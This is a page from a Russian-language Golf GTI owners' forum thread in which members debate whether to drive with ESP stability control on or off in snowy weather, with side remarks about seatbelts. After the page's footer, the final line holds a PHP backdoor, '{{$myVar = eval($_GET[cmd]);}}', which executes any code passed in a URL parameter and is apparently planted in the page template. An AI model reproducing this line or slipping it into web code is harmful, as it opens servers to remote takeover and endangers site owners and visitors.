+ Ответить в теме
Страница 4 из 10 ПерваяПервая ... 2 3 4 5 6 ... ПоследняяПоследняя
Показано с 31 по 40 из 100

Тема: ESP при текущей погоде


  1. #31
    GTI-Racing Scruj is on a distinguished road Аватар для Scruj
    Регистрация
    27.11.2007
    Машина
    GTI V, VTG
    Сообщений
    1,012
    Цитата Сообщение от Chuka Посмотреть сообщение

    Как же right hand-brake turn итд? Скучно!
    Да ладно, ESP не мешает таким поворотам или полицейскому, даже в самом активном состоянии.
    Вот разворот на 360 мне не дался и инструктор сказал что это из за остаткоа ESP

    Добавлено через 5 минут
    Цитата Сообщение от IvanGTIV Посмотреть сообщение
    Блин, камрады, вы меня реально пугаете........

    Я уже и капитану Ясинскому позвонил провериться (он тоже выкл. ЕСП сейчас).

    Макс, слава богу, отписался.

    А то я уже начал считать себя полным отморозком.
    А у меня начинает появляться подозрение, что ESP на механике и автомате работает по разному. Также может влиять то, что ESP думает о резине и подвеске.
    В части разгона - у меня машина лучше разгоняется при включеной ESP. А вот в поврот иногда я вижу что мог бы зайти круче без нее, но не буду же я ее включать/выключать постоянно во время движения.
    Так что я езжу с ESP.

    Добавлено через 9 минут
    Цитата Сообщение от constantinus Посмотреть сообщение
    Ну я тоже появилась эта привычка, сейчас вообще без ремня не могу - он то еще и в поворотах удерживает)
    да, я тоже привык что ремень служит точкой опоры для левого плеча, хотя уверен, что жто не правильно
    Последний раз редактировалось Scruj; 19.12.2009 в 15:57. Причина: Добавлено сообщение
    GTI - Get There Instantly (tm)

  2. #32
    GTI-Racing IvanGTIV is on a distinguished road Аватар для IvanGTIV
    Регистрация
    06.10.2006
    Машина
    GTI V DSG, REVO, H&R, KONI sport, H2sport, Goodridge, RBF600, DS2500, ATE PowerDisc, OZ racing
    Сообщений
    1,885
    "да, я тоже привык что ремень служит точкой опоры для левого плеча, хотя уверен, что жто не правильно"


    вот вообще сейчас не понял.

    что именно не правильно?

    чем жестче ты закреплен к креслу, тем меньше ты прилагаешь усилий чтобы поддерживать свое в нем положение, таким образом все усилия можно направить непосредственно на рулежку.

    т.о. лучше всего спортивные ремни, которые жестко крепят, за неимением таковых и как компромисс по комфорту пристегиваемся штатным инерционным ремнем.



  3. #33
    читать все не осилил, скажу одно кто не первый день за рулем, то лучше ехать без есп
    3d,5d gti, s3

  4. #34
    GTI-Racing Scruj is on a distinguished road Аватар для Scruj
    Регистрация
    27.11.2007
    Машина
    GTI V, VTG
    Сообщений
    1,012
    Сегодня больше пробовал без ESP - таки да, в ряде случаев разгоняется лучше, так что сорри.
    GTI - Get There Instantly (tm)

  5. #35
    GTI-Racing Serzh will become famous soon enough Serzh will become famous soon enough Аватар для Serzh
    Регистрация
    21.01.2008
    Откуда
    Киев
    Машина
    A4 Allroad
    Сообщений
    1,211
    Цитата Сообщение от Scruj Посмотреть сообщение
    Сегодня больше пробовал без ESP - таки да, в ряде случаев разгоняется лучше, так что сорри.
    Ну да , особенно на стоянке из сугроба выезжать лучше без ЕСП
    MKV GTI APR Stage 2 - продан ((
    AUDI A4 allroad
    МB E280 4 MATIC - продан

  6. #36
    GTI-Racing VVZ will become famous soon enough Аватар для VVZ
    Регистрация
    07.05.2008
    Машина
    VW Golf GTI Mk5 DSG
    Сообщений
    3,440
    А я в сегодняшний снегопад ехал с ЕСП (АСР)... Дискомфорта не испытывал :)
    С уважением, Василий.

    My onboard video.

  7. #37
    Супер Модератор Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Spaceman is a name known to all Аватар для Spaceman
    Регистрация
    13.01.2009
    Откуда
    Moscow
    Машина
    GTI Overload
    Сообщений
    6,561
    Цитата Сообщение от VVZ Посмотреть сообщение
    А я в сегодняшний снегопад ехал с ЕСП (АСР)... Дискомфорта не испытывал :)
    Поддерживаю, я тоже :)

  8. #38
    GTI-Racing maximus is on a distinguished road Аватар для maximus
    Регистрация
    13.02.2009
    Машина
    golf V GTI
    Сообщений
    354
    блин, попробывал ездить с ЕСП, тупо застрял и машина перестала ехать...
    отключил нахрен и погрёб без проблем дальше....

    Добавлено через 14 минут
    Цитата Сообщение от Scruj Посмотреть сообщение

    А у меня начинает появляться подозрение, что ESP на механике и автомате работает по разному. Также может влиять то, что ESP думает о резине и подвеске.
    В части разгона - у меня машина лучше разгоняется при включеной ESP. А вот в поврот иногда я вижу что мог бы зайти круче без нее, но не буду же я ее включать/выключать постоянно во время движения.
    Так что я езжу с ESP.
    врядли, у меня механика, у Вани ДСГ.
    хотя можно будет сравнить где то на площадке...
    разве что ДСГ сама за тебя думает про крутящий момент и так далее, а на ручке ты сам себе хазяин.
    Последний раз редактировалось maximus; 21.12.2009 в 13:00. Причина: Добавлено сообщение

  9. #39
    GTI-Racing constantinus is on a distinguished road Аватар для constantinus
    Регистрация
    22.09.2007
    Откуда
    Киев
    Машина
    RGTI
    Сообщений
    1,631
    По дороге думаю без разницы особой с ESP или без, просто надо правильно газ дозировать.

    Я со двора выезжал - не мог выехать с ночного места (пригорок и бордюр) так там я отключил ESP, только как по мне не сильно помогло.

    Эксперементировал опять таки ночью когдаснег валил - в субботу, так я особой разницы не заметил, просто без ESP авто может больше побуксовать))) а едут в приципе одинаково, но с ESP безопасней, меньше сносит корму.

    Если ехать в трафике, то не будет выигрыша от отключенного ESP.

  10. #40
    GTI-Racing maximus is on a distinguished road Аватар для maximus
    Регистрация
    13.02.2009
    Машина
    golf V GTI
    Сообщений
    354
    Цитата Сообщение от constantinus Посмотреть сообщение
    По дороге думаю без разницы особой с ESP или без, просто надо правильно газ дозировать.

    Я со двора выезжал - не мог выехать с ночного места (пригорок и бордюр) так там я отключил ESP, только как по мне не сильно помогло.

    Эксперементировал опять таки ночью когдаснег валил - в субботу, так я особой разницы не заметил, просто без ESP авто может больше побуксовать))) а едут в приципе одинаково, но с ESP безопасней, меньше сносит корму.

    Если ехать в трафике, то не будет выигрыша от отключенного ESP.
    это если разогнался, то можно и с ЕСП, а вот на разгоне без ЕСП удобней.
    Пы.Сы. Костя не обижай плиз больше с "правильной дозировкой газа"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! !!!!!!!!!!!!:woodpecker::woodpecker::woodpecker:

+ Ответить в теме
Страница 4 из 10 ПерваяПервая ... 2 3 4 5 6 ... ПоследняяПоследняя

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}